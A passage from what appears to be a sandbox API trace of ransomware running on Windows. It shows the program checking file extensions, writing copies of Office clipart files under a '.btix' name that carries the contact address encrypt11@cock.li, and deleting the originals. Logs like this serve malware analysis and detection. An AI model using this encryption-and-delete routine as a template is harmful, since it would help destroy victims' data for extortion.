lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.908] lstrlenW (lpString=".jpg") returned 4 [0152.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.908] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.909] lstrlenW (lpString="J0106958.WMF") returned 12 [0152.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.909] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=13784) returned 1 [0152.909] CloseHandle (hObject=0x374) returned 1 [0152.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0152.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.909] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.909] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.910] GetLastError () returned 0x0 [0152.910] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x35d8, lpOverlapped=0x0) returned 1 [0152.910] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x35e0, lpOverlapped=0x0) returned 1 [0152.911] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.911] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.911] SetEndOfFile (hFile=0x3a0) returned 1 [0152.911] CloseHandle (hObject=0x3a0) returned 1 [0152.912] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.912] SetEndOfFile (hFile=0x374) returned 1 [0152.912] CloseHandle (hObject=0x374) returned 1 [0152.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0152.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.913] lstrlenW (lpString=".doc") returned 4 [0152.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.913] lstrlenW (lpString=".docx") returned 5 [0152.913] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.913] lstrlenW (lpString=".pdf") returned 4 [0152.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.913] lstrlenW (lpString=".xls") returned 4 [0152.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.913] lstrlenW (lpString=".xlsx") returned 5 [0152.913] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.913] lstrlenW (lpString=".ppt") returned 4 [0152.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.913] lstrlenW (lpString=".zip") returned 4 [0152.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.914] lstrlenW (lpString=".rar") returned 4 [0152.914] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.914] lstrlenW (lpString=".bz2") returned 4 [0152.914] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.914] lstrlenW (lpString=".7z") returned 3 [0152.914] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.914] lstrlenW (lpString=".dbf") returned 4 [0152.914] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.914] lstrlenW (lpString=".1cd") returned 4 [0152.914] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.914] lstrlenW (lpString=".jpg") returned 4 [0152.914] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.914] lstrlenW (lpString=".doc") returned 4 [0152.914] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.914] lstrlenW (lpString=".docx") returned 5 [0152.914] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.914] lstrlenW (lpString=".pdf") returned 4 [0152.914] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.914] lstrlenW (lpString=".xls") returned 4 [0152.914] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.914] lstrlenW (lpString=".xlsx") returned 5 [0152.914] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.914] lstrlenW (lpString=".ppt") returned 4 [0152.914] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.915] lstrlenW (lpString=".zip") returned 4 [0152.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.915] lstrlenW (lpString=".rar") returned 4 [0152.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.915] lstrlenW (lpString=".bz2") returned 4 [0152.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.915] lstrlenW (lpString=".7z") returned 3 [0152.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.915] lstrlenW (lpString=".dbf") returned 4 [0152.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.915] lstrlenW (lpString=".1cd") returned 4 [0152.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF") returned 68 [0152.915] lstrlenW (lpString=".jpg") returned 4 [0152.915] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.915] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.915] lstrlenW (lpString="J0107024.WMF") returned 12 [0152.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.915] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=3020) returned 1 [0152.915] CloseHandle (hObject=0x374) returned 1 [0152.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0152.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.916] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.916] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.916] GetLastError () returned 0x0 [0152.916] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xbcc, lpOverlapped=0x0) returned 1 [0152.917] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0152.920] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.920] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.920] SetEndOfFile (hFile=0x3a0) returned 1 [0152.920] CloseHandle (hObject=0x3a0) returned 1 [0152.920] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.920] SetEndOfFile (hFile=0x374) returned 1 [0152.921] CloseHandle (hObject=0x374) returned 1 [0152.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.921] lstrlenW (lpString=".doc") returned 4 [0152.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.921] lstrlenW (lpString=".docx") returned 5 [0152.921] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.921] lstrlenW (lpString=".pdf") returned 4 [0152.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.921] lstrlenW (lpString=".xls") returned 4 [0152.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.921] lstrlenW (lpString=".xlsx") returned 5 [0152.921] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.921] lstrlenW (lpString=".ppt") returned 4 [0152.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.922] lstrlenW (lpString=".zip") returned 4 [0152.922] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.922] lstrlenW (lpString=".rar") returned 4 [0152.922] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.922] lstrlenW (lpString=".bz2") returned 4 [0152.922] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.922] lstrlenW (lpString=".7z") returned 3 [0152.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.922] lstrlenW (lpString=".dbf") returned 4 [0152.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.922] lstrlenW (lpString=".1cd") returned 4 [0152.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.922] lstrlenW (lpString=".jpg") returned 4 [0152.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.922] lstrlenW (lpString=".doc") returned 4 [0152.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.922] lstrlenW (lpString=".docx") returned 5 [0152.922] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.922] lstrlenW (lpString=".pdf") returned 4 [0152.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.922] lstrlenW (lpString=".xls") returned 4 [0152.922] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.922] lstrlenW (lpString=".xlsx") returned 5 [0152.922] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.923] lstrlenW (lpString=".ppt") returned 4 [0152.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.923] lstrlenW (lpString=".zip") returned 4 [0152.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.923] lstrlenW (lpString=".rar") returned 4 [0152.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.923] lstrlenW (lpString=".bz2") returned 4 [0152.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.923] lstrlenW (lpString=".7z") returned 3 [0152.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.923] lstrlenW (lpString=".dbf") returned 4 [0152.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.923] lstrlenW (lpString=".1cd") returned 4 [0152.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68 [0152.923] lstrlenW (lpString=".jpg") returned 4 [0152.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.923] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.923] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.924] GetLastError () returned 0x0 [0152.924] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0152.925] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1de0, lpOverlapped=0x0) returned 1 [0152.927] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.927] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.927] SetEndOfFile (hFile=0x3a0) returned 1 [0152.927] CloseHandle (hObject=0x3a0) returned 1 [0152.928] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.928] SetEndOfFile (hFile=0x374) returned 1 [0152.929] CloseHandle (hObject=0x374) returned 1 [0152.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0152.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0152.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0152.929] lstrlenW (lpString=".doc") returned 4 [0152.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.929] lstrlenW (lpString=".docx") returned 5 [0152.929] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.929] lstrlenW (lpString=".pdf") returned 4 [0152.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.929] lstrlenW (lpString=".xls") returned 4 [0152.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.929] lstrlenW (lpString=".xlsx") returned 5 [0152.929] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.929] lstrlenW (lpString=".ppt") returned 4 [0152.929] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0152.929] lstrlenW (lpString=".zip") returned 4 [0152.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.930] lstrlenW (lpString=".rar") returned 4 [0152.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.930] lstrlenW (lpString=".bz2") returned 4 [0152.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.930] lstrlenW (lpString=".7z") returned 3 [0152.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0152.930] lstrlenW (lpString=".dbf") returned 4 [0152.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0152.930] lstrlenW (lpString=".1cd") returned 4 [0152.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0152.930] lstrlenW (lpString=".jpg") returned 4 [0152.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.930] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.930] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.931] GetLastError () returned 0x0 [0152.931] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2358, lpOverlapped=0x0) returned 1 [0152.931] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2360, lpOverlapped=0x0) returned 1 [0152.933] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.933] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.933] SetEndOfFile (hFile=0x3a0) returned 1 [0152.933] CloseHandle (hObject=0x3a0) returned 1 [0152.933] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.933] SetEndOfFile (hFile=0x374) returned 1 [0152.934] CloseHandle (hObject=0x374) returned 1 [0152.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf")) returned 1 [0152.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0152.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0152.934] lstrlenW (lpString=".doc") returned 4 [0152.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.934] lstrlenW (lpString=".docx") returned 5 [0152.934] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.934] lstrlenW (lpString=".pdf") returned 4 [0152.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString=".xls") returned 4 [0152.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.935] lstrlenW (lpString=".xlsx") returned 5 [0152.935] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.935] lstrlenW (lpString=".ppt") returned 4 [0152.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF") returned 68 [0152.935] lstrlenW (lpString=".zip") returned 4 [0152.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.935] lstrlenW (lpString=".rar") returned 4 [0152.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString=".bz2") returned 4 [0152.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.935] lstrlenW (lpString=".7z") returned 3 [0152.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 